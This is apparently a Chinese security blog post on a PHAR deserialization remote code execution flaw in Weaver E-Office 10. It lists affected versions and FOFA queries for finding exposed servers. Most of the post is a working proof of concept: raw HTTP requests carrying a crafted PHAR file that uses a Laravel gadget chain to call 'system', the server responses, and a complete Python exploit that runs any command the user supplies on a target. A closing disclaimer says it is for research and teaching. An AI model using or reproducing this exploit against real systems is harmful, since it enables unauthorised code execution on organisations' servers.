漏洞的关键在于系统处理上传的PHAR文件时存在缺陷。攻击者能够上传伪装的PHAR文件到服务器,利用PHP处理PHAR文件时自动进行的反序列化机制来触发远程代码执行。
影响版本
v10.0_20180516 < E-Office10 < v10.0_20240222
fofa
app="泛微-EOffice"
body="eoffice_loading_tip" && body="eoffice10"
poc
POST /eoffice10/server/public/api/attachment/atuh-file HTTP/1.1
Host:
User-Agent: Go-http-client/1.1
Content-Length: 523
Accept: string("*/*")
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=jzdwsbic
--jzdwsbic
Content-Disposition: form-data; name="Filedata"; filename="register.inc"
Content-Type: image/jpeg
GIF89a<?php __HALT_COMPILER(); ?>
D.....................O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:".*.events";O:25:"Illuminate\Bus\Dispatcher":1:{s:16:".*.queueResolver";s:6:"system";}s:8:".*.event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{s:10:"connection";s:37:"echo 9yM86ESyFBXNDwCh6Nbsxy9wrcQrP25P";}}....test.txt....K..f.....~..........test.).i..f3....2pq....>....GBMB
--jzdwsbic--
返回响应包
HTTP/1.1 200 OK
Date: Sat, 30 Mar 2024 08:43:19 GMT
Server: Apache
Cache-Control: no-cache, private
Transfer-Encoding: chunked
Content-Type: application/json
{"status":1,"data":{"attachment_id":"263bcfcf49019d4735c62653c5cdbd6c","attachment_name":"register.inc"},"runtime":"0.314"}
POST /eoffice10/server/public/api/attachment/path/migrate HTTP/1.1
Host:
User-Agent: Go-http-client/1.1
Content-Length: 69
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
source_path=&desc_path=phar%3A%2F%2F..%2F..%2F..%2F..%2Fattachment%2F
回响应包
HTTP/1.1 200 OK
Date: Sat, 30 Mar 2024 08:43:20 GMT
Server: Apache
Cache-Control: no-cache, private
Transfer-Encoding: chunked
Content-Type: application/json
{"status":1,"data":[0,false,0,false,0,0,false,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,13],"runtime":"0.382"}
POST /eoffice10/server/public/api/empower/import HTTP/1.1
Host:
User-Agent: Go-http-client/1.1
Content-Length: 47
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
type=tttt&file=263bcfcf49019d4735c62653c5cdbd6c
返回响应包
HTTP/1.1 200 OK
Date: Sat, 30 Mar 2024 08:43:20 GMT
Server: Apache
Cache-Control: no-cache, private
Transfer-Encoding: chunked
Content-Type: application/json
{"status":0,"errors":[{"code":"no_file","message":"\u6ce8\u518c\u6587\u4ef6\u4e0d\u5b58\u5728"}],"runtime":"0.293"}9yM86ESyFBXNDwCh6Nbsxy9wrcQrP25P
exp
# -*- coding:utf-8 -*- import json import requests import urllib3 import hashlib import time from hashlib import sha1 import base64 import re def payload(url,cmd): urls = url + '/eoffice10/server/public/api/attachment/atuh-file' hearder = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5829.201 Safari/537.36'} file = base64.b64decode("PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQokAQAAAQAAABEAAAABAAAAAADuAAAATzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjE6e3M6MTY6IgAqAHF1ZXVlUmVzb2x2ZXIiO3M6Njoic3lzdGVtIjt9czo4OiIAKgBldmVudCI7TzozODoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcQnJvYWRjYXN0RXZlbnQiOjE6e3M6MTA6ImNvbm5lY3Rpb24iO3M6Njoid2hvYW1pIjt9fQgAAAB0ZXN0LnR4dAUAAAAqH6ZhBQAAAOmPsbu0AQAAAAAAAHRlc2F05eRmN0jjnqjxPuyQ7MEQ33p3j+QCAAAAR0JNQg==") # print(file) data = file[:-28] # print(b's:'+bytes(str(len(cmd)),encoding="utf-8")+b':"'+bytes(cmd, encoding='utf-8')+b'"') data = data.replace(b's:6:"whoami"', b's:'+bytes(str(len(cmd)),encoding="utf-8")+b':"'+bytes(cmd, encoding='utf-8')+b'"') final = file[-8:] newfile = data + sha1(data).digest() + final upload_file = {"Filedata": ("register.inc", newfile, "image/jpeg")} urllib3.disable_warnings() response = requests.post(url=urls, files=upload_file, headers=hearder,proxies={"http":"http://127.0.0.1:8081","https":"https://127.0.0.1:8081"}) response_text = response.text attachment_id = json.loads(response_text)['data']['attachment_id'] urls = url + '/eoffice10/server/public/api/wps/v1/3rd/file/history' heards = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5829.201 Safari/537.36', 'x-weboffice-file-id': attachment_id } urllib3.disable_warnings() response = requests.post(url=urls, headers=heards, verify=False) # ,proxies=proxy) print(response.text) response_json = response.json() create_time = re.findall(r"create_time\":(.*?),\"modify_tim",response.text) filename = str(create_time) + 'register.inc' md5name = hashlib.md5(filename.encode()) md5name = md5name.hexdigest() Time = time.strftime('%Y/%m/%d', time.localtime(time.time())) urls = url + '/eoffice10/server/public/api/dingtalk/dingtalk-move?imgs=phar://../../../../attachment/' + Time + '/' + attachment_id + '/' + md5name + '.inc' hearder = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5829.201 Safari/537.36'} urllib3.disable_warnings() print(urls) response = requests.post(url=urls, verify=False, headers=hearder) # ,proxies=proxy) response_text = response.text print(response_text) #result = response_text.split('}')[-1] #print(result) if __name__ == '__main__': url = "" #url = " cmd = "dir" if not url.startswith(("http://", "https://")): url = "http://" + url if url.endswith("/"): url = url[:-1] payload(url,cmd)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论